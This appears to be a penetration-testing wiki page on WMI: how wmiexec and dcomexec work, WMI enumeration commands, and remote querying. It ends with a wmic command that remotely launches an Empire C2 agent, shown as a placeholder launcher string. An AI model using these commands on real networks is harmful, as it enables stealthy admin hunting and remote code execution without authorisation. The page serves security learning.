# WmicExec
|
|
|
|
## How Does it works
|
|
|
|
Wmi allows to open process in hosts where you know username/\(password/Hash\). Then, Wmiexec uses wmi to execute each command that is asked to execute \(this is why Wmicexec gives you semi-interactive shell\).
|
|
|
|
**dcomexec.py:** This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints \(ShellBrowserWindow DCOM object\). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. \(from [here](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)\)
|
|
|
|
## WMI Basics
|
|
|
|
**Namespace**: WMI is divided into a directory-style hierarchy, the \root container, with other directories under \root. These "directory paths" are called namespaces.
|
|
List namespaces:
|
|
|
|
```bash
|
|
#Get Root namespaces
|
|
gwmi -namespace "root" -Class "__Namespace" | Select Name
|
|
|
|
#List all namespaces (you may need administrator to list all of them)
|
|
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
|
|
|
#List namespaces inside "root\cimv2"
|
|
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
|
|
```
|
|
|
|
List classes of a namespace with:
|
|
|
|
```bash
|
|
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
|
|
gwmi -Namespace "root/microsoft" -List -Recurse
|
|
```
|
|
|
|
**Classes:** The WMI class name eg: win32\_process is a starting point for any WMI action. We always need to know a Class Name and the Namespace where it is located.
|
|
List classes starting with `win32`:
|
|
|
|
```bash
|
|
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
|
|
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
|
|
```
|
|
|
|
Call a class:
|
|
|
|
```bash
|
|
#When you don't specify a namespaces by default is "root/cimv2"
|
|
Get-WmiObject -Class win32_share
|
|
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
|
|
```
|
|
|
|
**Method:** WMI classes have one or more functions that can be executed. These functions are called methods
|
|
|
|
## WMI Enumeration
|
|
|
|
### Check WMI service
|
|
|
|
This how you can check if WMI service is running:
|
|
|
|
```bash
|
|
#Check if WMI service is running
|
|
Get-Service Winmgmt
|
|
Status Name DisplayName
|
|
------ ---- -----------
|
|
Running Winmgmt Windows Management Instrumentation
|
|
|
|
#From CMD
|
|
net start | findstr "Instrumentation"
|
|
```
|
|
|
|
### System Information
|
|
|
|
```bash
|
|
Get-WmiObject -ClassName win32_operatingsystem | select * | more
|
|
```
|
|
|
|
### Process Information
|
|
|
|
```bash
|
|
Get-WmiObject win32_process | Select Name, Processid
|
|
```
|
|
|
|
From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain.
|
|
|
|
```text
|
|
wmic computerystem list full /format:list
|
|
wmic process list /format:list
|
|
wmic ntdomain list /format:list
|
|
wmic useraccount list /format:list
|
|
wmic group list /format:list
|
|
wmic sysaccount list /format:list
|
|
```
|
|
|
|
```bash
|
|
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
|
|
```
|
|
|
|
## **Manual Remote WMI Querying**
|
|
|
|
For example, here's a very stealthy way to discover local admins on a remote machine \(note that domain is the computer name\):
|
|
|
|
```bash
|
|
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
|
|
```
|
|
|
|
Another useful oneliner is to see who is logged on to a machine \(for when you're hunting admins\):
|
|
|
|
```text
|
|
wmic /node:ordws01 path win32_loggedonuser get antecedent
|
|
```
|
|
|
|
`wmic` can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations:
|
|
|
|
```text
|
|
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
|
|
```
|
|
|
|
**We'll remotely create a process over WMI to execute a Empire agent:**
|
|
|
|
```bash
|
|
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
|
|
```
|
|
|
|
We see it executed successfully \(ReturnValue = 0\). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned.
